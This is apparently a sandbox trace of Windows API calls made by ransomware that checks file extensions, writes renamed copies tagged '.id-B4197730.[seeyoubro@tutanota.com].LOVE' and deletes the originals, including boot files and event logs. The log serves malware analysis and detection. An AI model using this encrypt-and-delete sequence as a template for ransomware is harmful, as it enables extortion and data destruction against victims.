[0201.830] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0201.830] lstrlenW (lpString=".zip") returned 4 [0201.830] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0201.830] lstrlenW (lpString=".rar") returned 4 [0201.830] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0201.830] lstrlenW (lpString=".bz2") returned 4 [0201.830] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0201.830] lstrlenW (lpString=".7z") returned 3 [0201.830] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0201.830] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0201.830] lstrlenW (lpString=".dbf") returned 4 [0201.830] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0201.830] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0201.830] lstrlenW (lpString=".1cd") returned 4 [0201.830] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0201.830] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0201.830] lstrlenW (lpString=".jpg") returned 4 [0201.830] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0201.831] lstrcmpiW (lpString1=".dll", lpString2=".LOVE") returned -1 [0201.831] lstrlenW (lpString="bootspaces.dll") returned 14 [0201.831] CreateFileW (lpFileName="C:\\Boot\\bootspaces.dll" (normalized: "c:\\boot\\bootspaces.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0201.838] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x301ff14 | out: lpFileSize=0x301ff14*=95648) returned 1 [0201.838] CloseHandle (hObject=0x300) returned 1 [0201.838] GetFileAttributesW (lpFileName="C:\\Boot\\bootspaces.dll" (normalized: "c:\\boot\\bootspaces.dll")) returned 0x20 [0201.838] GetFileAttributesW (lpFileName="C:\\Boot\\bootspaces.dll.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\boot\\bootspaces.dll.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0201.838] CreateFileW (lpFileName="C:\\Boot\\bootspaces.dll" (normalized: "c:\\boot\\bootspaces.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0201.838] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0201.838] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0201.838] lstrlenW (lpString=".doc") returned 4 [0201.838] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0201.838] lstrlenW (lpString=".docx") returned 5 [0201.838] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0201.838] lstrlenW (lpString=".pdf") returned 4 [0201.838] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0201.838] lstrlenW (lpString=".xls") returned 4 [0201.838] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0201.838] lstrlenW (lpString=".xlsx") returned 5 [0201.838] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0201.838] lstrlenW (lpString=".ppt") returned 4 [0201.838] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0201.838] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0201.838] lstrlenW (lpString=".zip") returned 4 [0201.838] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0201.839] lstrlenW (lpString=".rar") returned 4 [0201.839] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0201.839] lstrlenW (lpString=".bz2") returned 4 [0201.839] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0201.839] lstrlenW (lpString=".7z") returned 3 [0201.839] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0201.839] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0201.839] lstrlenW (lpString=".dbf") returned 4 [0201.839] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0201.839] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0201.839] lstrlenW (lpString=".1cd") returned 4 [0201.839] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0201.839] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0201.839] lstrlenW (lpString=".jpg") returned 4 [0201.839] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0201.839] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0201.839] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0201.839] lstrlenW (lpString=".doc") returned 4 [0201.839] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0201.839] lstrlenW (lpString=".docx") returned 5 [0201.839] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0201.839] lstrlenW (lpString=".pdf") returned 4 [0201.839] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0201.839] lstrlenW (lpString=".xls") returned 4 [0201.839] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0201.839] lstrlenW (lpString=".xlsx") returned 5 [0201.839] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0201.839] lstrlenW (lpString=".ppt") returned 4 [0201.839] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0201.839] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0201.839] lstrlenW (lpString=".zip") returned 4 [0201.839] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0201.840] lstrlenW (lpString=".rar") returned 4 [0201.840] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0201.840] lstrlenW (lpString=".bz2") returned 4 [0201.840] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0201.840] lstrlenW (lpString=".7z") returned 3 [0201.840] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0201.840] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0201.840] lstrlenW (lpString=".dbf") returned 4 [0201.840] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0201.840] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0201.840] lstrlenW (lpString=".1cd") returned 4 [0201.840] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0201.840] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0201.840] lstrlenW (lpString=".jpg") returned 4 [0201.840] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0201.840] lstrcmpiW (lpString1=".dll", lpString2=".LOVE") returned -1 [0201.840] lstrlenW (lpString="bootvhd.dll") returned 11 [0201.840] CreateFileW (lpFileName="C:\\Boot\\bootvhd.dll" (normalized: "c:\\boot\\bootvhd.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0201.840] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x301ff14 | out: lpFileSize=0x301ff14*=99744) returned 1 [0201.840] CloseHandle (hObject=0x300) returned 1 [0201.841] GetFileAttributesW (lpFileName="C:\\Boot\\bootvhd.dll" (normalized: "c:\\boot\\bootvhd.dll")) returned 0x20 [0201.841] GetFileAttributesW (lpFileName="C:\\Boot\\bootvhd.dll.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\boot\\bootvhd.dll.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0201.841] CreateFileW (lpFileName="C:\\Boot\\bootvhd.dll" (normalized: "c:\\boot\\bootvhd.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0201.841] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19 [0201.841] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19 [0201.841] lstrlenW (lpString=".doc") returned 4 [0201.841] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0201.841] lstrlenW (lpString=".docx") returned 5 [0201.841] lstrcmpiW (lpString1=".docx", lpString2="d.dll") returned -1 [0201.841] lstrlenW (lpString=".pdf") returned 4 [0201.841] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0201.841] lstrlenW (lpString=".xls") returned 4 [0201.841] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0201.841] lstrlenW (lpString=".xlsx") returned 5 [0201.841] lstrcmpiW (lpString1=".xlsx", lpString2="d.dll") returned -1 [0201.841] lstrlenW (lpString=".ppt") returned 4 [0201.841] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0201.841] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19 [0201.841] lstrlenW (lpString=".zip") returned 4 [0201.841] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0201.841] lstrlenW (lpString=".rar") returned 4 [0201.841] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0201.841] lstrlenW (lpString=".bz2") returned 4 [0201.841] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0201.841] lstrlenW (lpString=".7z") returned 3 [0201.842] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0201.842] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19 [0201.842] lstrlenW (lpString=".dbf") returned 4 [0201.842] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0202.225] MoveFileW (lpExistingFileName="C:\\Boot\\Fonts\\chs_boot.ttf" (normalized: "c:\\boot\\fonts\\chs_boot.ttf"), lpNewFileName="C:\\Boot\\Fonts\\chs_boot.ttf.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\boot\\fonts\\chs_boot.ttf.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0 [0202.330] MoveFileW (lpExistingFileName="C:\\Boot\\Fonts\\cht_boot.ttf" (normalized: "c:\\boot\\fonts\\cht_boot.ttf"), lpNewFileName="C:\\Boot\\Fonts\\cht_boot.ttf.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\boot\\fonts\\cht_boot.ttf.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0 [0202.333] MoveFileW (lpExistingFileName="C:\\Boot\\Fonts\\jpn_boot.ttf" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf"), lpNewFileName="C:\\Boot\\Fonts\\jpn_boot.ttf.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0 [0202.346] MoveFileW (lpExistingFileName="C:\\Boot\\Fonts\\kor_boot.ttf" (normalized: "c:\\boot\\fonts\\kor_boot.ttf"), lpNewFileName="C:\\Boot\\Fonts\\kor_boot.ttf.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\boot\\fonts\\kor_boot.ttf.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0 [0202.585] GetLastError () returned 0x0 [0202.585] ReadFile (in: hFile=0x33c, lpBuffer=0x3d5d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d5d020*, lpNumberOfBytesRead=0x301fecc*=0x1, lpOverlapped=0x0) returned 1 [0202.586] WriteFile (in: hFile=0x348, lpBuffer=0x3d5d020*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d5d020*, lpNumberOfBytesWritten=0x301fc94*=0x10, lpOverlapped=0x0) returned 1 [0202.587] ReadFile (in: hFile=0x33c, lpBuffer=0x3d5d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d5d020*, lpNumberOfBytesRead=0x301fecc*=0x0, lpOverlapped=0x0) returned 1 [0202.587] WriteFile (in: hFile=0x348, lpBuffer=0x3d5d020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d5d020*, lpNumberOfBytesWritten=0x301fc94*=0xe2, lpOverlapped=0x0) returned 1 [0202.587] SetEndOfFile (hFile=0x348) returned 1 [0202.587] CloseHandle (hObject=0x348) returned 1 [0202.587] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0202.587] SetEndOfFile (hFile=0x33c) returned 1 [0202.588] CloseHandle (hObject=0x33c) returned 1 [0202.588] SetFileAttributesW (lpFileName="C:\\BOOTNXT.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x26) returned 1 [0202.589] DeleteFileW (lpFileName="C:\\BOOTNXT" (normalized: "c:\\bootnxt")) returned 1 [0202.589] lstrlenW (lpString="C:\\BOOTNXT") returned 10 [0202.589] lstrlenW (lpString="C:\\BOOTNXT") returned 10 [0202.589] lstrlenW (lpString=".doc") returned 4 [0202.589] lstrcmpiW (lpString1=".doc", lpString2="TNXT") returned -1 [0202.589] lstrlenW (lpString=".docx") returned 5 [0202.589] lstrcmpiW (lpString1=".docx", lpString2="OTNXT") returned -1 [0202.589] lstrlenW (lpString=".pdf") returned 4 [0202.589] lstrcmpiW (lpString1=".pdf", lpString2="TNXT") returned -1 [0202.589] lstrlenW (lpString=".xls") returned 4 [0202.589] lstrcmpiW (lpString1=".xls", lpString2="TNXT") returned -1 [0202.589] lstrlenW (lpString=".xlsx") returned 5 [0202.589] lstrcmpiW (lpString1=".xlsx", lpString2="OTNXT") returned -1 [0202.589] lstrlenW (lpString=".ppt") returned 4 [0202.589] lstrcmpiW (lpString1=".ppt", lpString2="TNXT") returned -1 [0202.589] lstrlenW (lpString="C:\\BOOTNXT") returned 10 [0202.590] lstrlenW (lpString=".zip") returned 4 [0202.590] lstrcmpiW (lpString1=".zip", lpString2="TNXT") returned -1 [0202.590] lstrlenW (lpString=".rar") returned 4 [0202.590] lstrcmpiW (lpString1=".rar", lpString2="TNXT") returned -1 [0202.590] lstrlenW (lpString=".bz2") returned 4 [0202.590] lstrcmpiW (lpString1=".bz2", lpString2="TNXT") returned -1 [0202.590] lstrlenW (lpString=".7z") returned 3 [0202.590] lstrcmpiW (lpString1=".7z", lpString2="NXT") returned -1 [0202.590] lstrlenW (lpString="C:\\BOOTNXT") returned 10 [0202.590] lstrlenW (lpString=".dbf") returned 4 [0202.590] lstrcmpiW (lpString1=".dbf", lpString2="TNXT") returned -1 [0202.590] lstrlenW (lpString="C:\\BOOTNXT") returned 10 [0202.590] lstrlenW (lpString=".1cd") returned 4 [0202.590] lstrcmpiW (lpString1=".1cd", lpString2="TNXT") returned -1 [0202.590] lstrlenW (lpString="C:\\BOOTNXT") returned 10 [0202.591] lstrlenW (lpString=".jpg") returned 4 [0202.591] lstrcmpiW (lpString1=".jpg", lpString2="TNXT") returned -1 [0202.591] lstrlenW (lpString="C:\\BOOTNXT") returned 10 [0202.591] lstrlenW (lpString="C:\\BOOTNXT") returned 10 [0202.591] lstrlenW (lpString=".doc") returned 4 [0202.591] lstrcmpiW (lpString1=".doc", lpString2="TNXT") returned -1 [0202.591] lstrlenW (lpString=".docx") returned 5 [0202.591] lstrcmpiW (lpString1=".docx", lpString2="OTNXT") returned -1 [0202.591] lstrlenW (lpString=".pdf") returned 4 [0202.591] lstrcmpiW (lpString1=".pdf", lpString2="TNXT") returned -1 [0202.591] lstrlenW (lpString=".xls") returned 4 [0202.591] lstrcmpiW (lpString1=".xls", lpString2="TNXT") returned -1 [0202.591] lstrlenW (lpString=".xlsx") returned 5 [0202.591] lstrcmpiW (lpString1=".xlsx", lpString2="OTNXT") returned -1 [0202.591] lstrlenW (lpString=".ppt") returned 4 [0202.591] lstrcmpiW (lpString1=".ppt", lpString2="TNXT") returned -1 [0202.591] lstrlenW (lpString="C:\\BOOTNXT") returned 10 [0202.591] lstrlenW (lpString=".zip") returned 4 [0202.591] lstrcmpiW (lpString1=".zip", lpString2="TNXT") returned -1 [0202.591] lstrlenW (lpString=".rar") returned 4 [0202.591] lstrcmpiW (lpString1=".rar", lpString2="TNXT") returned -1 [0202.591] lstrlenW (lpString=".bz2") returned 4 [0202.591] lstrcmpiW (lpString1=".bz2", lpString2="TNXT") returned -1 [0202.591] lstrlenW (lpString=".7z") returned 3 [0202.591] lstrcmpiW (lpString1=".7z", lpString2="NXT") returned -1 [0202.591] lstrlenW (lpString="C:\\BOOTNXT") returned 10 [0202.591] lstrlenW (lpString=".dbf") returned 4 [0202.591] lstrcmpiW (lpString1=".dbf", lpString2="TNXT") returned -1 [0202.592] lstrlenW (lpString="C:\\BOOTNXT") returned 10 [0202.592] lstrlenW (lpString=".1cd") returned 4 [0202.592] lstrcmpiW (lpString1=".1cd", lpString2="TNXT") returned -1 [0202.592] lstrlenW (lpString="C:\\BOOTNXT") returned 10 [0202.592] lstrlenW (lpString=".jpg") returned 4 [0202.592] lstrcmpiW (lpString1=".jpg", lpString2="TNXT") returned -1 [0202.592] lstrcmpiW (lpString1=".sys", lpString2=".LOVE") returned 1 [0202.592] lstrlenW (lpString="hiberfil.sys") returned 12 [0202.592] CreateFileW (lpFileName="C:\\hiberfil.sys" (normalized: "c:\\hiberfil.sys"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0202.592] lstrlenW (lpString="C:\\hiberfil.sys") returned 15 [0202.592] lstrlenW (lpString="C:\\hiberfil.sys") returned 15 [0202.592] lstrlenW (lpString=".doc") returned 4 [0202.592] lstrcmpiW (lpString1=".doc", lpString2=".sys") returned -1 [0202.592] lstrlenW (lpString=".docx") returned 5 [0202.592] lstrcmpiW (lpString1=".docx", lpString2="l.sys") returned -1 [0202.592] lstrlenW (lpString=".pdf") returned 4 [0202.592] lstrcmpiW (lpString1=".pdf", lpString2=".sys") returned -1 [0202.592] lstrlenW (lpString=".xls") returned 4 [0202.592] lstrcmpiW (lpString1=".xls", lpString2=".sys") returned 1 [0202.592] lstrlenW (lpString=".xlsx") returned 5 [0202.592] lstrcmpiW (lpString1=".xlsx", lpString2="l.sys") returned -1 [0202.592] lstrlenW (lpString=".ppt") returned 4 [0202.592] lstrcmpiW (lpString1=".ppt", lpString2=".sys") returned -1 [0202.593] lstrlenW (lpString="C:\\hiberfil.sys") returned 15 [0202.593] lstrlenW (lpString=".zip") returned 4 [0202.593] lstrcmpiW (lpString1=".zip", lpString2=".sys") returned 1 [0202.593] lstrlenW (lpString=".rar") returned 4 [0202.593] lstrcmpiW (lpString1=".rar", lpString2=".sys") returned -1 [0202.593] lstrlenW (lpString=".bz2") returned 4 [0202.593] lstrcmpiW (lpString1=".bz2", lpString2=".sys") returned -1 [0202.593] lstrlenW (lpString=".7z") returned 3 [0202.593] lstrcmpiW (lpString1=".7z", lpString2="sys") returned -1 [0202.593] lstrlenW (lpString="C:\\hiberfil.sys") returned 15 [0202.593] lstrlenW (lpString=".dbf") returned 4 [0202.593] lstrcmpiW (lpString1=".dbf", lpString2=".sys") returned -1 [0202.593] lstrlenW (lpString="C:\\hiberfil.sys") returned 15 [0202.593] lstrlenW (lpString=".1cd") returned 4 [0202.593] lstrcmpiW (lpString1=".1cd", lpString2=".sys") returned -1 [0202.593] lstrlenW (lpString="C:\\hiberfil.sys") returned 15 [0202.593] lstrlenW (lpString=".jpg") returned 4 [0202.593] lstrcmpiW (lpString1=".jpg", lpString2=".sys") returned -1 [0202.593] lstrlenW (lpString="C:\\hiberfil.sys") returned 15 [0202.593] lstrlenW (lpString="C:\\hiberfil.sys") returned 15 [0202.593] lstrlenW (lpString=".doc") returned 4 [0202.593] lstrcmpiW (lpString1=".doc", lpString2=".sys") returned -1 [0202.593] lstrlenW (lpString=".docx") returned 5 [0202.593] lstrcmpiW (lpString1=".docx", lpString2="l.sys") returned -1 [0202.593] lstrlenW (lpString=".pdf") returned 4 [0202.593] lstrcmpiW (lpString1=".pdf", lpString2=".sys") returned -1 [0202.593] lstrlenW (lpString=".xls") returned 4 [0202.594] lstrcmpiW (lpString1=".xls", lpString2=".sys") returned 1 [0202.594] lstrlenW (lpString=".xlsx") returned 5 [0202.594] lstrcmpiW (lpString1=".xlsx", lpString2="l.sys") returned -1 [0202.594] lstrlenW (lpString=".ppt") returned 4 [0202.594] lstrcmpiW (lpString1=".ppt", lpString2=".sys") returned -1 [0202.594] lstrlenW (lpString="C:\\hiberfil.sys") returned 15 [0202.594] lstrlenW (lpString=".zip") returned 4 [0202.594] lstrcmpiW (lpString1=".zip", lpString2=".sys") returned 1 [0202.594] lstrlenW (lpString=".rar") returned 4 [0202.594] lstrcmpiW (lpString1=".rar", lpString2=".sys") returned -1 [0202.594] lstrlenW (lpString=".bz2") returned 4 [0202.594] lstrcmpiW (lpString1=".bz2", lpString2=".sys") returned -1 [0202.594] lstrlenW (lpString=".7z") returned 3 [0202.594] lstrcmpiW (lpString1=".7z", lpString2="sys") returned -1 [0202.594] lstrlenW (lpString="C:\\hiberfil.sys") returned 15 [0202.594] lstrlenW (lpString=".dbf") returned 4 [0202.594] lstrcmpiW (lpString1=".dbf", lpString2=".sys") returned -1 [0202.594] lstrlenW (lpString="C:\\hiberfil.sys") returned 15 [0202.594] lstrlenW (lpString=".1cd") returned 4 [0202.594] lstrcmpiW (lpString1=".1cd", lpString2=".sys") returned -1 [0202.594] lstrlenW (lpString="C:\\hiberfil.sys") returned 15 [0202.594] lstrlenW (lpString=".jpg") returned 4 [0202.594] lstrcmpiW (lpString1=".jpg", lpString2=".sys") returned -1 [0202.594] lstrcmpiW (lpString1=".evtx", lpString2=".LOVE") returned -1 [0202.594] lstrlenW (lpString="Application.evtx") returned 16 [0202.595] CreateFileW (lpFileName="C:\\Logs\\Application.evtx" (normalized: "c:\\logs\\application.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0202.613] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x301ff14 | out: lpFileSize=0x301ff14*=69632) returned 1 [0202.613] CloseHandle (hObject=0x348) returned 1 [0202.613] GetFileAttributesW (lpFileName="C:\\Logs\\Application.evtx" (normalized: "c:\\logs\\application.evtx")) returned 0x20 [0202.613] GetFileAttributesW (lpFileName="C:\\Logs\\Application.evtx.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\logs\\application.evtx.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0202.613] CreateFileW (lpFileName="C:\\Logs\\Application.evtx" (normalized: "c:\\logs\\application.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0202.613] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0202.613] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0202.613] CreateFileW (lpFileName="C:\\Logs\\Application.evtx.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\logs\\application.evtx.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0202.613] GetLastError () returned 0x0 [0202.613] ReadFile (in: hFile=0x348, lpBuffer=0x3d5d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d5d020*, lpNumberOfBytesRead=0x301fecc*=0x11000, lpOverlapped=0x0) returned 1 [0202.630] WriteFile (in: hFile=0x350, lpBuffer=0x3d5d020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d5d020*, lpNumberOfBytesWritten=0x301fc94*=0x11010, lpOverlapped=0x0) returned 1 [0202.632] ReadFile (in: hFile=0x348, lpBuffer=0x3d5d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d5d020*, lpNumberOfBytesRead=0x301fecc*=0x0, lpOverlapped=0x0) returned 1 [0202.632] WriteFile (in: hFile=0x350, lpBuffer=0x3d5d020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d5d020*, lpNumberOfBytesWritten=0x301fc94*=0xf4, lpOverlapped=0x0) returned 1 [0202.632] SetEndOfFile (hFile=0x350) returned 1 [0202.632] CloseHandle (hObject=0x350) returned 1 [0202.636] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0202.636] SetEndOfFile (hFile=0x348) returned 1 [0202.637] CloseHandle (hObject=0x348) returned 1 [0202.637] SetFileAttributesW (lpFileName="C:\\Logs\\Application.evtx.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x20) returned 1 [0202.638] DeleteFileW (lpFileName="C:\\Logs\\Application.evtx" (normalized: "c:\\logs\\application.evtx")) returned 1 [0202.638] lstrlenW (lpString="C:\\Logs\\Application.evtx") returned 24 [0202.638] lstrlenW (lpString="C:\\Logs\\Application.evtx") returned 24 [0202.638] lstrlenW (lpString=".doc") returned 4 [0202.638] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0202.638] lstrlenW (lpString=".docx") returned 5 [0202.638] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0202.638] lstrlenW (lpString=".pdf") returned 4 [0202.638] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0202.638] lstrlenW (lpString=".xls") returned 4 [0202.638] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0202.638] lstrlenW (lpString=".xlsx") returned 5 [0202.638] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0202.638] lstrlenW (lpString=".ppt") returned 4 [0202.638] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0202.638] lstrlenW (lpString="C:\\Logs\\Application.evtx") returned 24 [0202.638] lstrlenW (lpString=".zip") returned 4 [0202.638] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0202.638] lstrlenW (lpString=".rar") returned 4 [0202.638] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0202.638] lstrlenW (lpString=".bz2") returned 4 [0202.639] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0202.639] lstrlenW (lpString=".7z") returned 3 [0202.639] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0202.639] lstrlenW (lpString="C:\\Logs\\Application.evtx") returned 24 [0202.639] lstrlenW (lpString=".dbf") returned 4 [0202.639] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0202.639] lstrlenW (lpString="C:\\Logs\\Application.evtx") returned 24 [0202.639] lstrlenW (lpString=".1cd") returned 4 [0202.639] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0202.639] lstrlenW (lpString="C:\\Logs\\Application.evtx") returned 24 [0202.639] lstrlenW (lpString=".jpg") returned 4 [0202.639] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0202.639] lstrlenW (lpString="C:\\Logs\\Application.evtx") returned 24 [0202.639] lstrlenW (lpString="C:\\Logs\\Application.evtx") returned 24 [0202.639] lstrlenW (lpString=".doc") returned 4 [0202.639] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0202.639] lstrlenW (lpString=".docx") returned 5 [0202.639] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0202.639] lstrlenW (lpString=".pdf") returned 4 [0202.639] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0202.639] lstrlenW (lpString=".xls") returned 4 [0202.639] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0202.639] lstrlenW (lpString=".xlsx") returned 5 [0202.639] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0202.639] lstrlenW (lpString=".ppt") returned 4 [0202.639] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0202.639] lstrlenW (lpString="C:\\Logs\\Application.evtx") returned 24 [0202.639] lstrlenW (lpString=".zip") returned 4 [0202.639] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0202.639] lstrlenW (lpString=".rar") returned 4 [0202.639] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0202.639] lstrlenW (lpString=".bz2") returned 4 [0202.639] 